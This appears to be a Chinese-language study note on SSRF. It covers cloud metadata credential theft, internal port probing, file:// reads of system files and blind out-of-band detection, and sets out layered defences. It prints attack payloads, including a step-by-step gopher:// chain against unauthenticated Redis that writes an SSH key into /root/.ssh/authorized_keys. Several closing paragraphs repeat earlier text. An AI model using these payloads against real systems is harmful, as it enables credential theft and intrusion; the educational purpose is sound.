SSRF服务端请求伪造
SSRF服务端请求伪造
复习定位
SSRF(Server-Side Request Forgery)是一种利用服务器作为跳板的攻击——攻击者让服务器向攻击者指定的任意URL发出请求。如果服务器在内网(通常有更高的网络访问权限)——SSRF可以用来探测内网主机和端口、访问云平台的元数据接口获取敏感信息(如EC2的IAM临时凭证)。防御核心——白名单限制服务器的请求目标。
SSRF的工作原理
应用通常需要显示一个外部图片或从远程地址获取资源:
url = request.GET['url'] # 用户提交的URL
response = requests.get(url) # 服务器拉取该URL的内容
return response.content攻击者传入url=http://169.254.169.254/latest/meta-data/——云服务器的元数据服务监听在此地址——返回该服务器的AWS凭证、安全组等敏感信息——攻击者获取得凭据——可以直接操作受害者的云资源(管理EC2从起始到结束中间可能附加的各种服务)。
SSRF攻击场景
访问云元数据服务——通过SSRF访问云服务(如AWS、阿里云等)的元数据API——返回云实例的临时访问密钥和敏感配置项。
探测内网端口——让服务器快速向一个内网IP的各个端口发送请求——通过响应时间或返回数据判断端口是否开放(内网中最常见的是redis,ssh,mysql等管理端口)。
攻击内网应用——利用SSRF作为跳板——访问内网未授权Web应用、管理后台、或执行如Redis等数据库的命令。
防御方法
- URL白名单——只允许访问预先明确允许的域名/IP——拒绝其他所有请求。
- 禁止私有IP——在服务器发起请求前——检查解析到的IP——如果是私有IP(127.0.0.1/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)——拒绝请求。
- 不使用真实原始URL——对用户输入的URL进行严格的校验和DNS解析后再做IP检查、只允许HTTP/HTTPS协议(防止file://等协议读取本地文件)
- 限制出口网络访问——在服务器所在的子网——通过防火墙限制应用服务器只能访问特定的外网地址——不能直接向整个内网发起连接。
复习检查
云元数据服务地址169.254.169.254为什么是一个链路本地地址——即使在服务器上执行
curl http://169.254.169.254/latest/meta-data/——返回了云实例的IAM角色——如果应用存在SSRF漏洞——攻击者通过?url=http://169.254.169.254/获得全部凭证。SSRF访问内网Redis——如果内网的Redis服务未设置密码——攻击者可以通过SSRF让服务器向Redis发送一条Getshell命令(写入SSH公钥到~/.ssh/authorized_keys)——从而获得对内网主机的远程访问权限。
限制协议为什么重要——SSRF不仅可以访问HTTP服务——还能使用
file://协议读取服务器本地文件(使用file:///etc/passwd)——或使用gopher://协议向任意TCP端口发送任意格式的数据——这给攻击者更大的灵活性。为什么IP黑名单(如拒绝localhost,127.0.0.1, 169.254.169.254)不是完全有效的——攻击者可以通过域名解析绕过(注册一个解析到127.0.0.1的域名,通过URL重定向跳转到内部IP、使用IPv6地址的变形表示、使用八进制或十六进制的IP表示法等)——所以白名单比黑名单更安全。
云实例元数据服务暴露的敏感信息类型——AWS的元数据API返回IAM临时凭证(AccessKeyId/SecretAccessKey/Token)——安全组配置——实例ID——可用区——如果SSRF攻击者拿到这些信息——可以以该实例的IAM角色身份调用AWS API——读取S3内容——启动/停止EC2实例——泄露敏感数据的风险极高。
SSRF的攻击利用深度分析
SSRF的成功利用不仅限于读取云元数据和访问内网Redis——在攻击者熟练的技术操作下——SSRF还可以:
利用HTTP协议访问内网Web管理界面(如Jenkins、Hadoop YARN ResourceManager、Kubernetes API Server)——这些管理界面默认可能没有设置强密码或仅依赖IP白名单(因为通常认为只在内网可达——SSRF正好打破了"内网安全"的假设)——攻击者可以通过SSRF向内部管理系统发起API请求——获取敏感信息或执行操作。
利用gopher协议攻击内网服务——gopher协议允许发送任意格式的TCP数据包——攻击者可以使用gopher://协议构造Redis的SET/GET命令——实现向Redis中写入SSH公钥——获得服务器的SSH登录权限。这个攻击链在CTF和真实渗透中都很经典——也是SSRF最具有破坏力的利用方式之一。
利用file://协议读取本地文件——file:///etc/passwd(读取系统用户信息)、file:///etc/shadow(加密用户密码,需要root权限)、file:///proc/1/environ(获取启动环境变量——其中可能含敏感的环境配置)、file:///proc/net/fib_trie(查看路由表信息)。
SSRF的盲测方法
在渗透测试中——有时无法直接看到SSRF请求的响应内容(例如请求结果在前端不渲染)——但可以通过时间差或带外检测(OOB, Out-of-Band)来判断SSRF是否存在:
时间差法: 向一个已知会延迟响应的内网服务(如Sleep函数)
发送请求——如果系统明显卡顿了几秒——说明服务器确实访问了该地址——确定SSRF存在
带外检测法(OOB):
1. 在公网上部署一个接受HTTP请求的server——admin.svrsec.com
2. 构造url=http://admin.svrsec.com/test——如果服务器访问了该URL——你的服务器记录到了访问
3. 接着构造url=http://169.254.169.254/latest/meta-data/——获取云实例IAM凭证OOB方法可以在"不回显"的盲SSRF场景下确认漏洞是否存在——并提取数据。
SSRF防御体系的层次结构
第一层(最优): URL白名单
若业务确实只能访问少数几个外部URL——白名单是最强防御
第二层: 协议限制 + IP检查
只允许HTTP(S)——禁止file/gopher/dict等协议
检查解析后的IP——禁止私有IP及链路本地地址
第三层(兜底): 网络防火墙
限制应用服务器出方向的网络访问——隔离内网
最小权限原则——应用服务器有对外开放外网的需求就开放——不能对内网无差别全通这三层防御叠加使用——即使某一层被绕过——后续层仍能阻挡攻击。SSRF的防御重点在于:不要信任用户提交的URL——你需要自行对目标进行DNS解析、IP检查、协议校验和访问范围限制。
云环境中的SSRF特殊风险
云服务(尤其是IaaS)中——元数据服务地址固定且对每个云实例开放——SSRF的潜在破坏力远高于传统机房环境。各大云厂商都推出了针对SSRF的元数据服务增强功能——如AWS的IMDSv2(Instance Metadata Service v2)要求加会话Token才能访问元数据——即使应用存在SSRF——如果没有Token——也无法读取元数据。服务器迁移到IMDSv2是云中防御SSRF的最佳实践。此外——在基础设施层——使用IAM角色的最小权限策略——限制实例的IAM角色只具有其业务必需的AWS资源访问权限——可以大幅降低SSRF被利用后的数据泄露面。
复习检查(续)
SSRF的盲测方法——通过时间差(向一个会延迟响应的服务发请求——观察响应延迟)或带外检测(向公网服务器发送请求并观察到的收到回连)判断SSRF是否存在。
AWS IMDSv2如何增强SSRF防护——要求使用PUT方法从元数据服务获取会话Token——后续GET请求需要Token认证——防止SSRF直接读取元数据。
IAM角色最小权限对SSRF风险的缓解——即使攻击者通过SSRF获得IAM临时凭证——如果该凭证只能读取某些S3 bucket而不能创建EC2实例——攻击者能做的事被限制在最小范围内。
gopher协议在SSRF攻击Redis时的利用方法——构造gopher://redis:6379/_SET%20key%20SSH-PUBKEY%0A——将攻击者的SSH公钥写入Redis——利用默认的redis初始化脚本将公钥写入~/.ssh/authorized_keys——获得服务器的SSH权限。
企业网络防火墙对SSRF的兜底防御——即使应用存在SSRF漏洞——出站防火墙上限制了应用服务器只能访问特定的外网服务(如github.com:443)——对内网IP(10.x/172.x/192.168.x)的外向访问被直接拒绝——SSRF无法探测内网信息。
SSRF与CSRF的对比
SSRF和CSRF容易混淆——两者都涉及"伪造请求"——但方向完全不同。
| 特性 | SSRF | CSRF |
|---|---|---|
| 攻击发起者 | 攻击者控制服务器 | 攻击者控制某页面(诱导用户触碰) |
| 请求发起方 | 服务器(拥有内网权限) | 用户浏览器(持有目标站点的Cookie) |
| 攻击目标 | 内网服务、云元数据、本地文件 | 在用户已登录的目标站点的数据变更操作 |
| 防御核心 | URL白名单、禁止私有IP | CSRF Token、SameSite Cookie |
理解这两个攻击方向的差异——有助于在代码审计时正确识别漏洞类型并采取正确的修复措施。SSRF的核心是服务器主动发起的对外请求——控制点在被攻击的应用代码端;CSRF的核心是用户的浏览器自动携带身份凭证发送跨站请求——控制点在调用的第三方网站的HTML行为。
实际代码审计中的SSRF高危点
在代码审计过程中——需要重点检查以下模式——它们通常在业务中存在而开发人员未充分考虑安全防护:
1. URL参数直接传入请求函数——curl_exec($url)、requests.get(url)、file_get_contents($url)——是最常见的SSRF入口
2. 文件导入功能——允许用户指定远程URL导入数据——如WordPress中的"安装插件"功能(从远程下载安装包)
3. Webhook回调地址——用户提交的webhook地址由服务器向回调地址发送通知或数据
4. 图片处理/头像服务——用户提交要处理的图片URL——服务器从外网拉取图片处理
5. 文档/报表导出服务——用户提交HTML模板或URL——服务端通过无头浏览器渲染导出PDF——导致SSRF在发现SSRF风险后——修复建议按照防御层次从强到弱:锚定只允许特定域名列表、限制协议为HTTPS、检查DNS解析后的IP地址避免命中内网——最后加强出口网络防火墙限制。
SSRF攻击利用的经典案例——Redis未授权Getshell
在CTF或渗透测试环境中——Redis未授权+SSRF的组合是一个非常经典的攻击链:
前提: 应用存在SSRF + 内网某台服务器上运行了没有密码的Redis
攻击流程:
1. 攻击者通过SSRF发现内网Redis服务器的IP和端口(6379)
2. 攻击者构造gopher协议URL:
gopher://redis:6379/_SET%20key%20ssh-rsa%20AAAAB3N...(%0A——表示换行)
gopher://redis:6379/_CONFIG%20SET%20dir%20/root/.ssh/
gopher://redis:6379/_CONFIG%20SET%20dbfilename%20authorized_keys
gopher://redis:6379/_SAVE
3. SSRF请求对应URL后——Redis服务器执行SET命令——写入了攻击者构造的公钥到其数据库
4. CONFIG SET dir指定Redis的dump文件目录为~/.ssh/——db文件名设为authorized_keys
5. SAVE命令触发数据持久化——公钥被写入authorized_keys文件
6. 攻击者使用对应的私钥通过SSH登录该服务器——获得访问权限这一攻击链已经被广泛利用——其中每个步骤都需要SSRF作为"跳板"实现对内网Redis的访问——而Redis未授权访问是内网中常见的安全配置弱点。
复习检查(续二)
gopher协议在SSRF攻击中的特殊作用——gopher协议能够发送任意格式的原始TCP数据——绕过协议的MIME封装限制——使SSRF能够攻击非HTTP协议的内网应用服务(Redis/MySQL/Memcached)。
PHP的file_get_contents函数在SSRF审计中为什么是高风险点——file_get_contents支持file:///等所有流协议(Schema)——默认不限制协议——极易被SSRF利用读取本地文件或访问内网服务。
图片处理功能在SSRF审计中的特殊风险——服务器从用户指定的URL下载图片——攻击者构造URL指向内网或元数据服务——图片不存在但HTTP请求已经完成发送——攻击者可以通过逐字符对比请求和响应时间推理出内网服务信息。
内网中的微服务架构在SSRF攻击下的脆弱性——微服务通常不对外暴露但内网互相调用的开放端口范围较大——SSRF攻击者可利用一个存在漏洞的前端服务作为入口——逐一向内网中的所有健康检测端口发起探测请求——获得内网全貌。
为什么SSRF防御中URL解析的端口必须完整检查(不可以篡改隐含端口)——一个ip地址:80端口虽然可以通过http访问但端口不可信——部分SSRF绕过通过自定义端口的方式向非标准端口的其他协议进行攻击——如直接用来访问redis的内置格式要求不同端口但配置中如果默许端口可改则会扩大攻击入口。
SSRF攻击利用的真实影响评估
总结
SSRF攻击的严重性在云环境中尤其突出——因为它可以突破"内网是安全的"这一错误假设——利用应用服务器作为跳板——访问和攻击内网中所有可达的服务。防御SSRF需要在应用层(白名单校验URL)、网络层(防火墙限制出站流量)和云平台配置(IMDSv2、IAM最小权限)三个层次实施综合防御——单一层次防御都可能被绕过。
SSRF在任何"用户提交URL由服务器访问"的场景中出现——不限于Web应用——微服务间的HTTP调用、SSH中的ProxyCommand、Git hooks中从远程fetch数据等——都可能出现SSRF。
在云环境中SSRF的严重性评级——通用漏洞评分系统(CVSS)给SSRF的评分通常在6.5~9.0之间(中高危)——因为SSRF可能导致云元数据凭证泄漏——攻击者可以从"外部访问"直接升级到"内部横切渗透"——评级通常高于普通的CSRF或XSS。
SSRF防御的最终实践建议——对需要fetchURL的场景——仅允许HTTPS协议——URL必须以配置的允许域名列表为前缀——在请求前对目标IP做DNS解析并检查IP范围——拒绝访问私有IP段和链路本地地址。
云元数据服务地址169.254.169.254为什么是一个链路本地地址——即使在服务器上执行
curl http://169.254.169.254/latest/meta-data/——返回了云实例的IAM角色——如果应用存在SSRF漏洞——攻击者通过?url=http://169.254.169.254/获得全部凭证。SSRF访问内网Redis——如果内网的Redis服务未设置密码——攻击者可以通过SSRF让服务器向Redis发送一条Getshell命令(写入SSH公钥到~/.ssh/authorized_keys)——从而获得对内网主机的远程访问权限。
限制协议为什么重要——SSRF不仅可以访问HTTP服务——还能使用
file://协议读取服务器本地文件(使用file:///etc/passwd)——或使用gopher://协议向任意TCP端口发送任意格式的数据——这给攻击者更大的灵活性。为什么IP黑名单(如拒绝localhost,127.0.0.1, 169.254.169.254)不是完全有效的——攻击者可以通过域名解析绕过(注册一个解析到127.0.0.1的域名,通过URL重定向跳转到内部IP、使用IPv6地址的变形表示、使用八进制或十六进制的IP表示法等)——所以白名单比黑名单更安全。
SSRF与CSRF的区别——SSRF是服务端发起的伪造请求——攻击者控制服务器的请求目标→服务器作为跳板向任意目标发起请求——CSRF是客户端(浏览器)发起的伪造请求——攻击者利用用户的登录状态发往目标服务器——两者的攻击发起方和攻击目标都有不同。